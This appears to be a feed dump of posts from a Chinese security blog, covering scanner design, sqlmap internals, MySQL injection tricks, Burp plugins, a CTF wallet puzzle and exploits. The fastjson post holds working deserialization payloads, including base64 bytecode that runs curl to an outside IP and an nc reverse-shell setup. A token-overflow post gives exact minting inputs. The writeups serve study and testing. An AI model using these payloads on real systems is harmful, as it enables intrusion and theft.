好久没更新了,算是做个备忘吧。这段时间一直在搞漏洞扫描方面相关的东西,Web漏洞扫描碎碎念
上篇说到了一些黑盒漏扫的一些架构之类的,其实真正在做的时候还是会遇见挺多实际的问题的。
我们内部在构思这款扫描器时,就定位它为一款轻量级漏洞发现的扫描器。比较关心的指标:发包量、误报率、检出率、足够智能。通过一定的算法让他尽可能的和安全人员在做安全测试时的步骤、思路一致。
举个简单的例子,我们在进行某一个漏洞测试时,测试多个payload服务器返回与正常相同,大概会有哪些情况,应该怎么处理呢?那我们就应该让扫描器也尽量去模拟这个过程。
在开发的时候每个任务或需求都通过任务看板做记录,现在回头整理发现还是做了挺多的优化点的。
团队的小伙伴也是出了很多建设性的意见,在漏洞识别逻辑和产品使用体验方面上。现在经过打磨,也算是比较成熟了,满足日常安全测试的需求。
从看板复制出来小部分需求title
最开始对扫描器的认识无非就是payload一把梭,其实真正在做扫描器的时候就会发现有很多的点值得推敲优化。
]]>这段时间一直在搞漏洞扫描方面相关的东西,之前也写过一些小的扫描器demo,接触到挺多开源和商业版漏扫。简单念叨一些web扫描器相关的思路吧,也算做个记录。
注:本文只提供一些思路
其实web扫描器形式分很多种
当然可能按照不同角度有不同的区分类型吧,这几种类型的基本也都写过一些。其实无论哪种方式,最核心的还是要拿到流量才能往下走。
为什么先说参数解析呢,因为后面的很多模块都会依赖这里。参数解析的是否完整,对扫描结果影响还是比较大的。
无论是GET还是POST,先把参数的raw拿回来,最后封装回去就好
先看常见的格式
这两种是最简单的,格式较为统一,urlencode或json格式,只需要判断并解析一下,然后加入payload的flag
看下几种复杂格式
以上这几种都是我在实际的线上环境中遇见的,在完全不知道参数格式时,解析还是比较麻烦的,burpsuite的API在获取参数时对于这种混合格式就无法解析。之前调研一些商业漏扫也是无法识别的。后来自己写的时候看sqlmap源码有了思路解决了这个问题,有兴趣的可以看一下lib\core\common.py的walk函数。
我对于重复请求包的定义是域名及协议和url路径相同,同时参数的key是完全一致。
像这种为重复
这种则需要再次扫描
所以是否能完美的完成参数解析,就会影响到去重,把url与参数的key排序后判断是否已经存在就可以判定是否重复,对于复杂格式的依然可行。然后把去重后的流量入库后就可供扫描引擎调用,实时扫描或者计划任务都可以。
这块就是一些重头戏部分了。我在做的时候参考了AWVS的设计模式。做了一些合并,把扫描插件大致分成了三类,目录结构为1
2
3
4
5CoreScanEngine.py
——base
——perFolder
——perHost
——perRequest
举个例子,当扫描 https://www.beysec.com/pro/test.php?id=2&name=bey0nd 这个url时
这里有个调度的问题就是perHost只扫一次,perFolder只扫当前目录,perRequest每来一个包都扫。所以如果再来 https://www.beysec.com/notpro/hello.php perHost插件就不在扫描。
这些都是一些大的方向,其实每个模块都有许多细节需要处理,比如SQL注入检测模块中去掉返回包垃圾数据,restful接口返回数据尽可能去掉无关项,用分词作相识度识别的阈值设置,来提高准确率减少误报。SSRF的反链平台,每个扫描插件和模块都需要迭代优化,以及漏洞扫出来后如何闭环和打通别的平台,还是比较刺激的。
]]>最近在公司git翻代码时,在pom.xml看到一个项目fastjson版本比较低。于是测了一下反序列化漏洞,记录几个坑
测试poc
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://172.16.32.34:1099/Exploit","autoCommit":true} |
在对应的机器上监听一下端口,如果能收到数据则漏洞存在。1
nc -vv -l -p 6666
这个漏洞有很多的利用方式,可以把poc编译为class文件后使用base64加密,通过以下的方式HTTP发包即可。1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcAIQwAIgAjAQAfY3VybCBodHRwOi8vMTE4LjI0LjEwNS4yNTA6MTA5OQwAJAAlAQADUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACwAAAA4AAwAAAAsABAAMAA0ADQAMAAAABAABAA0AAQAOAA8AAQAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABEAAQAOABAAAgAKAAAAGQAAAAMAAAABsQAAAAEACwAAAAYAAQAAABYADAAAAAQAAQARAAkAEgATAAIACgAAACUAAgACAAAACbsABVm3AAZMsQAAAAEACwAAAAoAAgAAABkACAAaAAwAAAAEAAEAFAABABUAAAACABY="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
我测试过程中使用的rmi和ldap的方式。
rmi的简单利用过程如下
启一个JNDI的服务。
1 | ➜ fastjson cat JNDIServer.java |
编译完启动即可。
编译poc
1 | ➜ fastjson cat Exploit.java |
PS:我直接用的nc来反弹shell,在测试的过程中,公司服务在docker镜像中部署,镜像较精简,系统不包含curl,bash,wget等命令,测试的时候还以为是poc或者防火墙的问题。。最后使用ping和dnslog测试成功了。
然后把poc放到一个web目录下供JNDIServer拿就可以了。直接用python启一下web服务
1 | python -m SimpleHTTPServer 8888 |
然后监听一下nc反弹的端口
1 | nc -vv -l -p 6666 |
发一下poc包就会收到反弹的shell
1 | POST /api/supplychain/listData HTTP/1.1 |
其实这是去年写的一个扫描器,也是很久没维护了,放出来吧。
去年写的时候想法比较单纯(当时感觉写完巨好用)
一年后视野越来越宽了,知识链更广了,有更好的思路了。
可以直接使用或者二次开发,能保留个版权最好
源码:https://github.com/ibey0nd/NSTScan-cli
开源版本只放出了简单的探测规则,无法用作为黑客入侵工具。
请勿用于未授权的测试,作者不负任何连带法律责任。
题干信息
图片中共两条有用信息:
1、一组字母“OKBLOCKCHAIN”
2、12组等式数字
下面是这1个ETH的地址交易记录,如果没被转走,说明还没被破解。Goodluck~
观察可以看到,在等式右边是16进制的字符串。将其转换为10进制后发现均小于2018。可以和eth的助记词关联上。
助记词列表:https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt
如:1
7=367
1 | int('367',16) = 871 |
然后在GitHub上的助记词查到871行对应的就是holiday
写段代码批量查表,获得全部助记词
1 | holiday relief seat stomach limb sort learn culture push deer brick wrong |
剩下的就是排序问题。
根据图中提供的字母 “OKBLOCKCHAIN”,再有310BTC的提示,基本就是移位密码了,先取字符的索引。
获取到对应的数字为
1 | 15 11 02 12 15 03 11 03 08 01 09 14 |
剩下未使用的信息就是等式左侧的数字了
1 | 7 14 16 17 19 21 26 28 30 31 40 51 |
观察一下两组数字的关系,刚开始想的太过于复杂,以为是移位密码的算法。走了一些弯路。
后来发现两组数字之间是相加一个质数列表
1 | 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37 |
如下:1
215, 11, 02, 12, 15, 03, 11, 03, 08, 01, 09, 14
2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37
相加后再等式左侧的数字中找到顺序,就能确定前面获取到的助记词的顺序。
最终的助记词顺序
1 | stomach relief holiday limb learn seat culture sort deer push brick wrong |
(PS:题中的21应该是22吧,官方手抖打错了?不过不影响解密)
使用钱包导入助记词,然后转账走人~~
研究了一些区块链安全,有几个挺有意思的漏洞。
Solidity 是一门面向合约的、为实现智能合约而创建的高级编程语言。这门语言受到了 C++,Python 和 Javascript 语言的影响,设计的目的是能在以太坊虚拟机(EVM)上运行。
AMR智能合约基于以太坊ERC20协议,合约地址 https://etherscan.io/token/0x96c833e43488c986676e9f6b3b8781812629bbb5
在计算机中,整数分为无符号整数以及有符号整数两种。其中有符号整数会在最高位用0表示正数,用1表示负数,而无符号整数则没有这种限制。另外,我们常见的整数类型有8位(单字节字符、布尔类型)、16位(短整型)、32位(长整型)等。关于整数溢出,其实它与其它类型的溢出一样,都是将数据放入了比它本身小的存储空间中,从而出现了溢出。
对于数据类型的定义
无符号的16位整数可以表示0~2^16-1,也就是0~65535这么多的数值。同理,32位无符号整数可以表示的范围是0~2^32-1,也就是0~4294967295这么多的数值
在AMR智能合约中,转账数值采用uint256。也就是2^256最大。1
2In [4]: pow(2,256)
Out[4]: 115792089237316195423570985008687907853269984665640564039457584007913129639936L
当超过这个数值时就会溢出导致归零重新增长。
在ARM合约中,详细缺陷代码片段如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40/**
* @dev Function is used to perform a multi-transfer operation. This could play a significant role in the Ammbr Mesh Routing protocol.
*
* Mechanics:
* Sends tokens from Sender to destinations[0..n] the amount tokens[0..n]. Both arrays
* must have the same size, and must have a greater-than-zero length. Max array size is 127.
*
* IMPORTANT: ANTIPATTERN
* This function performs a loop over arrays. Unless executed in a controlled environment,
* it has the potential of failing due to gas running out. This is not dangerous, yet care
* must be taken to prevent quality being affected.
*
* @param destinations An array of destinations we would be sending tokens to
* @param tokens An array of tokens, sent to destinations (index is used for destination->token match)
*/
function multiTransfer(address[] destinations, uint[] tokens) public returns (bool success){
// Two variables must match in length, and must contain elements
// Plus, a maximum of 127 transfers are supported
assert(destinations.length > 0);
assert(destinations.length < 128);
assert(destinations.length == tokens.length);
// Check total requested balance
uint8 i = 0;
uint totalTokensToTransfer = 0;
for (i = 0; i < destinations.length; i++){
assert(tokens[i] > 0);
totalTokensToTransfer += tokens[i];
}
// Do we have enough tokens in hand?
assert (balances[msg.sender] > totalTokensToTransfer);
// We have enough tokens, execute the transfer
balances[msg.sender] = balances[msg.sender].sub(totalTokensToTransfer);
for (i = 0; i < destinations.length; i++){
// Add the token to the intended destination
balances[destinations[i]] = balances[destinations[i]].add(tokens[i]);
// Call the event...
emit Transfer(msg.sender, destinations[i], tokens[i]);
}
return true;
}
批量转账函数
address[] destinations 地址列表
uint[] tokens 转账数量
在函数开始对地址长度之类的校验,对我们没什么用。
1 | for (i = 0; i < destinations.length; i++){ |
漏洞代码主要是这里,当传入两个地址时,把数量为最大值溢出的一半,相加正好溢出为0。
在溢出后,totalTokensToTransfer为0。绕过下面的数量验证。1
assert (balances[msg.sender] > totalTokensToTransfer);
而转账还能进行,得到大量的代币。
低成本,高收益,是无数资本家的梦想。XD
因为转账需要自己账户余额大于0,所以先充一个币余额。
然后调用漏洞函数,上面提到过参数,需要两个地址和最大值的一半。
地址列表 [“0xdd870fa1b7c4700f2bd7f44238821c26f7392148”,”0x0000000000000000000000000000000000000000”]
数量 [“57896044618658097711785492504343953926634992332820282019728792003956564819968”,”57896044618658097711785492504343953926634992332820282019728792003956564819968”]
加起来正好溢出为0。
查询地址余额
凭空多了57896044618658097711785492504343953926634992332820282019728792003956564819968个币。
由于区块链的不可逆性,币子流向市场几乎不受控制。
一夜暴富了解一下~
]]>所以趁着休息的时候写了个安全开源项目相关的平台
出发点跟P牛的wiki平台类似,不过侧重点不同。
该平台主要收录一些开源的安全项目,还望各位老哥踊跃贡献提交感觉不错的开源项目~
有什么好的建议欢迎提出~
]]>对这个东西不感兴趣,有几点:
美元是真正的世界货币,其实通过paypal、用信用卡付款,在任何一个国家支付美元、全球购物都是非常方便的。 只要比特币没有跟美元直接挂钩,形成官方汇率,形成良性监督,这个东西风险都非常高。比如法律风险、比特币自身的安全漏洞。
比特币被用来做非法地下交易、洗钱,这一点你应该是了解的。
考虑一下比特币有没有实际改善人们的生活。 大家投入很多人力、物力、财力,买挖矿机、买服务器、写程序。 没有衣服穿、没有饭吃,不行。但没有比特币,普通老百姓的生活没有多大影响。
炒得太厉害。当大家都觉得这里机会多的时候,可能它就不怎么适合我们去做了。 比特币主要分布在哪些人手上,他们手上有多少? 大多数人进去之后,可能只是个垫背的,最后死得很惨。
搞自己的虚拟货币,想创造什么价值,解决什么实际问题。 人民币不能买东西吗? 用信用卡不能在国外买东西了吗?
最好在自己的领域沉下心来,做自己懂的东西。 不懂的东西,风险太高太高。 就拿邓亚萍来做即刻搜索来说,烧完20亿,做出牛逼的产品了吗?
如果后面的事实发展证明我是错的,那还是遵循上面的话,别人赚了多少钱,我不关心。
我关心的是,自己想做什么、自己能做什么、自己能做好什么。
via : lijiejie
]]>之前用了几年的域名itwzw.cn域名密码也忘了。也不打算用了
所以换个com的域名,所以以后就用beysec.com这个域名了~
博客系统基于hexo + git + 独立服务器来持续集成部署。
希望能坚持写博客,记录东西的习惯。
欢迎交换友联~
]]>先来看个简单的例子
1 | MariaDB [sqlitest]> select 'bey0nd' = 0 ; |
1 | MariaDB [sqlitest]> select 'bey0nd' = 1 ; |
从上面的例子来看,MySQL对于这种情况下字符串的处理方式,直接当成0来处理。
1 | MariaDB [sqlitest]> select 'bey0nd' + 66 ; |
当字符串与数字进行运算,也是同样的道理。
实际上,MySQL把字符串当成了8bytes的double类型。
如下
1 | MariaDB [sqlitest]> select (~0+0e0) = ('bey0nd' + ~0) ; |
那我们在注入的时候,就可以把一些数据转换为数字的形式,从而获取MySQL数据。
1 | MariaDB [sqlitest]> select conv(hex(version()), 16, 10); |
而对于转换后的数字,再转换为原有数据时,如果原有数据大于8位。就会出错。所以在获取数据时需要进行拆分。
获取user()为例:
1 | MariaDB [sqlitest]> select conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10); |
转换回去1
2
3
4
5
6
7MariaDB [sqlitest]> select concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756, 10, 16)));
+----------------------------------------------------------------------------------------+
| concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756, 10, 16))) |
+----------------------------------------------------------------------------------------+
| root@localhost |
+----------------------------------------------------------------------------------------+
1 row in set (0.01 sec)
在遇见insert、update、delete类型的注入时,就可以根据情况来进行构造。
]]>sqlmap作为集检测与利用一体的注入工具,在注入判断上的速度难免会慢一些。虽然提供了sqlmapapi的形式供DIY调用,但效果差强人意。
所以一直以来都在写着能够快速定位到注入点而非注入利用的工具。最重要的就是快、误报低。
最近研究了一下sqlmap的源码流程和注入点的判断,不得不膜拜sqlmap的作者,膜拜其在软件架构、算法、注入等的造诣。
先来一张图看一下sqlmap运行流程。
https://www.processon.com/view/5835511ce4b0620292bd7285
前面引入很多lib,以及配置文件,暂时先不关心这些1
2
3checkEnvironment()
setPaths(modulePath())
banner()
在main函数中先调用这三个函数
分别是检测环境,一些依赖和目录规范的问题。
设置路径,这个就是为什么我们不管在哪个路径下执行1
python /root/test/sqlmap.py
都不会报错的原因。
然后输出logo信息。
然后进行参数解析。1
2cmdLineOptions.update(cmdLineParser().__dict__)
initOptions(cmdLineOptions)
命令行全部参数配置都在
lib\parse\cmdline.py中,1
2
3
4
5
6
7parser.add_option("--hh", dest="advancedHelp",
action="store_true",
help="Show advanced help message and exit")
parser.add_option("--version", dest="showVersion",
action="store_true",
help="Show program's version number and exit")
这个简单了解即可。
在lib\core\option.py中,init()方法,进行一系列初始化。
1 | def init(): |
这部分主要是初始化一些配置信息。还包括一个新手向导的函数,不过基本也不用。
前面对准备工作设置的特别多,数据库、日志、识别waf、加载tamper等。本文主要是探索sqlmap的注入判断方式,所以前面就不提太多。
目前市面上很多的扫描器都支持urlencode和json参数的格式。如
id=1&name=2
{“id”:1,”name”:2}
而对两者混合的支持的比较少,如
id=1&data={“name”:1,”age”:4}
而sqlmap在解析时处理可以识别各种类型的参数。
主要实现在lib\core\common.py的walk函数
1 | if place in (PLACE.POST, PLACE.GET): |
这个思路解决了我在参数解析的混合参数的识别问题。
demo如下
1 | python vulscaner.py |
这个函数主要是在变量的位置插入flag标识,我们在进行漏洞检测,如sql注入时,分别替换成对应的payload即可。
注入检测方法在lib\controller\checks.py中,按照BUEST的注入分类分别检测的。1
2def checkSqlInjection(place, parameter, value):
...
看一下注入判断的逻辑。
首先看一下布尔类型的盲注吧,因为我之前的工具这个类型准确度不高。
sqlmap中盲注检测是比较复杂的一种
首先是生成payload,构造prefix和suffix。
然后就是分别使用正确和错误的payload分别请求。
然后在这里判断1
if trueResult and not(truePage == falsePage and not kb.nullConnection):
如果两次请求不同,则认为有可能是注入,进入更详细的检测。
在检测方法中,我认为有个算法挺简介高效的。
在lib\request\comparison.py中的comparison中。
部分代码,(忽略我加的调试代码)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27def _comparison(page, headers, code, getRatioValue, pageLength):
threadData = getCurrentThreadData()
if kb.testMode:
threadData.lastComparisonHeaders = listToStrValue([_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)]) if headers else ""
threadData.lastComparisonPage = page
threadData.lastComparisonCode = code
print 'kb.testMode'
if page is None and pageLength is None:
return None
print "2-->"
print conf.string
if any((conf.string, conf.notString, conf.regexp)):
rawResponse = "%s%s" % (listToStrValue([_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)]) if headers else "", page)
# String to match in page when the query is True and/or valid
if conf.string:
print conf.string
return conf.string in rawResponse
# String to match in page when the query is False and/or invalid
if conf.notString:
return conf.notString not in rawResponse
# Regular expression to match in page when the query is True and/or valid
if conf.regexp:
return re.search(conf.regexp, rawResponse, re.I | re.M) is not None
print 'can you here'
这个方法是把正确和错误的返回内容分割为单个字符的set去比较,包括返回头信息。
比较算法如下,把两次返回的set取差集。计算出正确内容的flag标识,也就是sqlmap的–string参数。
1 | originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n")) |
获取到–string的参数后,就可以根据这个flag来判断页面返回是true或false了。
其他情况下:
注入逻辑是根据页面的相似度来进行判断true或false。我之前用的是simhash,sqlmap这里使用的是difflib。
当页面相似度阀值过低,就认为该位置可能存在注入。(ps : 忽略我加的调试代码)
1 | else: |
这个实现起来相对简单一些。
sqlmap的规则在xml\errors.xml中。
1 | # In case of error-based SQL injection |
在给定的payload中存在数据库的报错信息,则初步认定为是注入点。
时间类型的主要是判定两次请求的时间差。
网络访问控制实现主要在lib\request\connect.py
1 | # In case of time-based blind or stacked queries |
源码中还有union注入方法等。
PS : 看了两天源码,改了sqlmap的一些东西。加了一堆调试,最后成功把sqlmap改坏了 :(
由于python水平有限,而且本次看sqlmap源码主要目的是研究一下其注入判断的方式,所以sqlmap在注入利用的源码部分没细看。
在参数解析和布尔注入的思路如醍醐灌顶。
总的来说,sqlmap的注入思想还是值得每一个web安全研究者去拜读的。
此文仅作者可见
]]>元旦快乐。
一晃来了北京一年了,正值元旦,突然想想这一年也成长了不少。
正好公司也要年度总结报告,也简单的个人总结下~
年初刚来北京的一些目标也大多数完成了。
回想一下当时还是挺有意思的。
当时立下的一些flag
2017再见。
没完成的只能交给2018了~
立下新一年的flag,希望能圆满完成目标。
突然明白为什么很多人向往北京,虽然这里有糟糕得天气,最不友好得的房价和饮食,但就像保罗•格雷厄姆所写的文章《市井雄心》(cities and ambition)里说的,“所有伟大的城市都激发着某种雄心”。他暗示了一种冒险精神。很多创业者,被这种气息吸引而来,在这里让一些不一样的事情发生。
]]>看了一下官方文档。
链接地址:https://docs.python.org/2/library/queue.html?highlight=task_done#Queue.Queue.task_done
文档写的也有点模糊。
Queue.task_done() 在完成一项工作之后,Queue.task_done()函数向任务已经完成的队列发送一个信号
Queue.join() 实际上意味着等到队列为空,再执行别的操作
当线程通过队列取值一次后,也就是queue.get(),队列会记录这个取值的记录。但是此时队列的数量已经减少1了。
如果没有使用队列执行task_done()这个方法。则队列就会认为这个任务还在执行中。
可以理解为队列为这个任务是否完成单独设置了个计数器。
总结一下就是:
如果线程里每从队列里取一次,但没有执行task_done(),则join无法判断队列到底有没有结束,在最后执行个join()是等不到结果的,会一直挂起。
示例代码:
会在join()的地方无限挂起,因为join在等队列清空,但是由于没有task_done,它认为队列还没有清空,还在一直等。
1 | # -*- coding:utf-8 -*- |
如果把1
self.queue.task_done()
注释去掉,就可以正常运行了。
]]>漏洞扫描器在web安全领域一直是个热门话题,也有不少扫描器站了出来,有的成为安全从业者的必备神器,而有些则昙花一现。不管是web模式,B/S模式的扫描器都接触不少。最近趁着有点时间,试着动手写一个扫描器吧。毕竟自己写的才能跟自己的需求符合上。
目前常见的插件扫描器大概有三家,分别是pocsuite、bugscan、tangscan。后两家由于种种原因最终关闭了。
我一直以来都再用知道创宇的pocsuite,也算顺手。
所谓插件式扫描器,无非是大量POC/EXP来堆叠起来。相比较与传统的漏洞扫描器,插件式扫描器更方便维护,当出现新漏洞时只要添加一个新的POC即可。而不用更改扫描器的核心文件。相对来说较为方便。
既然是web版本,肯定是要有页面和后台扫描服务。简单的画了几个流程图,然后开始coding。
主要分为前端web和后台扫描服务两个部分
- Python
- Flask
- MySQL
前端部分流程图主要分为poc扫描,任务调度,插件管理等部分。具体如图所示
后端部分主要是扫描服务,对前端用户的任务进行调度,并给出扫描结果。
主要分为以下几个部分。
前端UI主要是Flask、MySQL,写了以下前端,个人比较习惯简约风格的,感觉还不错~
前端没什么好说的,熟悉Flask和python的话比较简单。来几张图吧
后台扫描服务主要分为端口扫描、poc扫描、目录、敏感信息等扫描。当然也可以自定义扫描,扩展一下就可以了。
端口扫描可以使用nmap、zmap等python库,不过为了速度考虑,我这里直接用的朋友s3xy之前写个一个端口扫描小模块,改了一下容错率的问题。
poc扫描部分这里是用到了知道创宇的pocsuite,因为这个算是比较成熟了。之前写了一个poc/exp扫描器,也在GitHub开源了,不过不推荐在生产环境使用。稳定性有待观察。
本文给一些想写个自己的小DIY扫描器的同学提供一些思路。
其实不管是web形式的扫描器还是console的poc扫描器,主要都是靠poc/exp来支撑。
没有poc的扫描器都是耍流氓~
没有老板的支持的安全是进行不下去的~
最近在写一个插件扫描器,需要对目标域名进行子域名的探测,然后进行批量的POC检测。
不想重复造轮子,于是在GitHub溜了一圈。(逃)
后面感觉还是lijiejie的比较经典好用。但是他的是保存到文件中的,每次读文件的话不太方便,所以还是简单的改改吧。
主要是去掉了一些代码。。
- 去除了文件输出
- 去除日志输出
- 保存结果到list列表方便API调用
效果如下
如何在自己的模块中集成该工具
示例
1 | d = SubNameBrute(target=args[0], options=options) |
https://github.com/ibey0nd/subDomainsBrute
再次感谢lijiejie~
]]>IP列表、业务分组(负责人、联系方向)、业务属性
业务端口
业务应用架构、技术堆栈
如果是硬件,使用防火墙统一控制
如果是操作系统,Iptalbes+IPSEC
及时监控业务端口的变化(外部nmap扫描搜集结果比对,或者编写脚步放到运维平台收集系统监听端口和防火墙策略)
跳板机安全控制
弱密码
root、sudoer权限
账户、授权、访问、审计等等
安全基线检测
操作审计
异常登录审计(日志收集分析)
漏洞清点/扫描,补丁修复测试和推进
应用渗透测试
接口安全(加密、通信)
webshell实时监测
Nginx日志分析/Nginx流量旁路分析
用户安全机制(密码、验证码、登录)
交易安全
安全意识培训
运维安全培训
WEB安全开发
人员入职账户开通
人员离职账户注销
服务器上下架安全管理
安全应急响应机制
]]>内网服务器安全
账户统一验证和管理机制(域ldap协议统一验证OA、RTX、邮件、内网业务系统)
弱口令监测(NTLM/LM)
账户异常登录
网络隔离(物理/虚拟化)
网络准入
PC安全(病毒统一管理、通知处理)
Hscan是一个超精简的POC扫描框架,支持插件化扫描器调度,
插件位于plugins目录下,插件开发比较简单,格式参考自带的poc插件。
HSacn是从内部平台独立的一个小模块,不推荐用于生产环境。可作为企业巡检及漏洞扫描辅助。源码比较简单,可根据要求自定义。
1 | python hscan.py |
1 | python hscan.py -u 172.16.32.97 |
早前写过一个基于代理的模式的自动化的安全扫描器。
当初是用python来写的一个代理,但是可能我实际安全测试的时候用burpsuite比较多一点,所以写个burpsuite的插件来被动的存储http请求到数据库里。
这个也比较简单,所以大概跟同学们说下,代码会开源。
基础环境的搭建可参考上篇文章,一些API的基础可参考官方文档。
还是同之前的插件一样,所有的burpsuite插件都必须实现IBurpExtender这个接口。由于我们需要被动的收集http的请求,所以还要实现IScannerCheck。
为了界面客观性,加了个UI面板,所以需要实现ITab接口。
burpsuite插件的注册声明
1 | public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { |
这个方法每个插件都要实现,基本操作都是类似的。初始化一些变量并注册插件。
为了避免一些静态资源js和css之类的存到数据库,所以进行了后缀的检测。
同样的,避免一些不需要检测的请求入库,还进行了域名的黑名单过滤。预定义如下
1 | public static String[] blackExt = { |
可以根据需求来进行具体的修改。
检测方法如下
1 | public static boolean isblackext(String url) { |
重复的URL地址将不会再次存储,每次入库前会进行查重,具体为
1 | public int queryrepeat(String url,String body,Connection conn) { |
然后就是根据被动的请求,来拿到http请求,进行拆分组装后存到MySQL数据库里。
1 | String url = this.helpers.analyzeRequest(baseRequestResponse).getUrl().toString(); |
helpers是burpsuite提供的一个帮助类的插件,可由他来获取到http请求的URL,method,body参数等信息。
封装后入库。
1 | public int insert(Map<String,String> sql,Connection conn,PrintWriter stdout) { |
httplog表结构如下,需要先创建表
1 | USE `scan`; |
直接导入插件后
修改响应的MySQL连接字符串,当Proxy被选中则存储到数据库,否则将不会处理。方便手工测试一些东西时,所以加个是否开启的开关。
控制台输出
然后浏览器开启burpsuite代理即可自动的存储到数据库中。
然后就可以根据具体的需要来进行检测漏洞了。
BurpSuite是久负盛名的web应用安全测试工具,在安全圈子中被誉为“神器”。它的核心功能是http代理,并在此基础上提供了丰富的自定义配置选项,协助使用者设计不同的方案进行渗透或者安全监测。此外,除了工具本身提供的功能以外,burpsuite神器提供了一组java编写的应用接口,通过java或基于java的Jython、Jruby,可以实现许多自定义的功能插件。Burpsuite作为web测试的神器,已经人手必备了。用户可以自己开发扩展实现一些特殊的需求。
这里我就用burpsuite实现一个被动式的注入扫描的功能,记录一下,也给其他同学做个参考。
目前burpsuite官方支持用java,python,ruby开发扩展,我这里就用java来开发了,如果用python或者ruby的话,速度及性能是比java差的。
首先需要下载burpsuite的api包,这个在burpsuite客户端已经集成了,直接下载即可。
然后在eclipse中新建项目,把burpsuite的api包导入进来,这样基本的开发环境已经成功了。
简单介绍一下几个最常用的接口:
interface IBurpExtender: 这个接口所有的扩展都需要实现.
Interface IBurpExtenderCallbacks: 这个接口几乎是必备的。在编写扩展的过程中会经常用到。
Interface IExtensionHelpers: 这个接口是新加的。提供了编写扩展中常用的一些通用函数,比如编解码、构造请求等。这样就不需要重负造轮子了。
Interface IHttpRequestResponse: 这个接口包含了每个请求和响应的细节。在Brupsuite中的每个请求或者响应都是IHttpRequestResponse实例。
因为我们要实现被动注入的功能,所以除了实现burpsuite api的IBurpExtender接口外,还要实现IScannerCheck接口。
大致代码如下:
1 | public class BurpExtender implements IBurpExtender,IScannerCheck { |
实现IScannerCheck后需要重写被动扫描的函数。
也就是1
public List<IScanIssue> doPassiveScan(IHttpRequestResponse baseRequestResponse) {}
在这个方法中我们就可以拿到http请求,然后根据我们的payload来重新发包,进行验证sql注入的漏洞。
给出我的部分代码,供参考。
1 | //被动扫描 |
这样的话我们就拿到burpsuite给我们传递过来的http request请求的包了。IHttpRequestResponse 里封装了我们的请求包及返回的信息。
然后我们就可以根据payload来尝试是否存在sql注入了。
封装了一个http的get和post的请求函数,基于okhttp。可直接调用1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27/**
* HTTP GET
* @param url
* @param headers
* @return
* @throws IOException
*/
public static String Get(String url,Map<String,String> headers){
try {
OkHttpClient client = new OkHttpClient();
Builder builder = new Request.Builder().url(url);
Iterator<Map.Entry<String, String>> entries = headers.entrySet().iterator();
while (entries.hasNext()) {
Entry<String, String> entry = entries.next();
builder.addHeader(entry.getKey(), entry.getValue());
}
Request request = builder.build();
Response response = client.newCall(request).execute();
return response.body().string();
} catch (IOException e) {
// TODO Auto-generated catch block
return getrandstrs();
}
}
Post也类似,查看okhttp的文档,修改响应的部分就行了。
然后就是检测注入了。
部分代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25public static boolean checkerrorsql(String url,String method,Map<String,String> headers,List<IParameter> parameters,PrintWriter stdout,byte content_type) throws IOException {
if(method.equals("GET")) {
for (IParameter iParameter : parameters) {
if(iParameter.getType()==IParameter.PARAM_URL) {
for (String pay : config.error_payloads) {
String paramitem = iParameter.getName()+"="+iParameter.getValue();
String payloaditem = paramitem + pay;
String myurl = url.replace(paramitem, payloaditem);
String html = HTTPClient.Get(myurl, headers);
for (String respflag : config.error_flag) {
if(html.contains(respflag)) {
